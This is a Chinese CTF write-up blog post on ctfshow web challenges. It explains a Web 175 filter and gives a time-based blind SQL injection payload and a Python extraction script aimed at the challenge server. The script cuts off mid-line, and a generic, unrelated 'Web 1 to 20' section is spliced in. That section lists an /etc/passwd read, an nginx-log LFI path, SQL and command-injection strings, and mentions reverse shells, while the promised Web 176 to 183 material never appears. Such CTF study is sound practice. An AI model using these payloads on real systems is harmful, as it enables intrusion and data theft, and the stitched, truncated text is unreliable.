ctfshow web175-183

本文讲述了作者逐步破解Web应用中的SQL过滤,通过时间盲注、字符替代和万能密码策略,成功绕过限制获取flag的过程,涉及技术包括字符编码、SQL注入手法和绕过技术。

目录

Web 175

Web 176

Web 177

Web 178

Web 179

Web 180

Web 181

Web 182

Web 183


Web 175

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret)))

刚开始不知道这句话是什莫意思,还在尝试之前的方法,发现没用。

\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f] 匹配ASCII值从0-127的字符

所以ASCII值得0-127都被过滤了,select没法用了。

只能盲注了,试一下
1' and sleep(6)--+
发现确实有延迟,所以可以考虑时间盲注。
时间盲注:
通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分,and的判断中,前半部分就已经出错了。
利用脚本来获取flag。
import requests

from time import time


url='http://774b555f-930c-4ab9-acbe-7ef82922d659.chall.ctf.show/api/v5.php'


flag=''

for i in range(1,100):

    length=len(flag)

    min=32

    max=128

    while 1:

        j=min+(max-min)//2

        if min==j:

            flag+=chr(j)

            print(flag)

            break


        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)


        start_time=time()

        r=requests.get(url=url+payload).text

        end_time=time()

        #print(r)



        if end_time-
### CTFShow Web 1 至 20 关解题思路 以下是关于 CTFShow 平台上 Web 类第 1 到 20 关的部分解题思路和相关信息: #### Web 1 通过分析 URL 参数 `id` 的传递方式,可以发现其存在 SQL 注入漏洞。尝试输入特殊字符如 `'` 后观察返回结果的变化。利用布尔盲注或者报错注入的方式获取数据库中的 flag 值[^2]。 ```sql ?id=1' AND '1'='1 --+ ``` #### Web 2 此关卡涉及简单的文件读取操作。目标是从服务器上读取指定路径下的敏感文件内容。通常情况下,默认访问 `/etc/passwd` 文件验证是否存在任意文件读取漏洞。如果成功,则进一步尝试其他可能存储 flags 的常见目录或文件名[^1]。 ```bash ?file=/etc/passwd ``` #### Web 3 考察 LFI(Local File Inclusion) 技巧的应用场景之一。当应用程序允许用户上传并加载外部资源时,可能会暴露出本地系统的内部结构信息。例如,可以通过构造特定 payload 来查看 nginx 日志记录以捕获管理员登录痕迹或其他有用线索。 ```bash ?url=/var/log/nginx/access.log ``` #### Web 4 本题围绕命令执行展开讨论。给定表单字段未经过严格过滤处理前即被直接拼接到 shell 执行语句当中去运行系统指令。因此只需简单地附加反向 Shell Payload 即可实现远程控制受害主机的目的;当然也可以仅为了提取 Flag 而精心设计一条短小精悍却功能强大的管道链来完成任务需求。 ```bash cmd=id%3Bls%20-l%20/etc/ ``` #### Web 5 - Web 20 (概述) 由于具体每道题目细节差异较大,在这里无法逐一列举所有可能性解答方案。但是可以根据以往经验总结如下几类高频考点供参考学习: - **SQL Injection**: 不同形式的数据查询接口都可能存在安全隐患。 - **XSS(Cross-Site Scripting)**: 用户交互型页面容易遭受跨站脚本攻击影响用户体验甚至窃取隐私数据。 - **File Upload Vulnerabilities**: 对于支持图片、文档等形式附件提交的功能模块需格外注意防止恶意程序植入风险。 - **Authentication Bypasses & Authorization Issues**: 登录认证机制薄弱可能导致非法越权行为发生。 以上仅为部分提示方向,请自行探索更多有趣挑战! ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值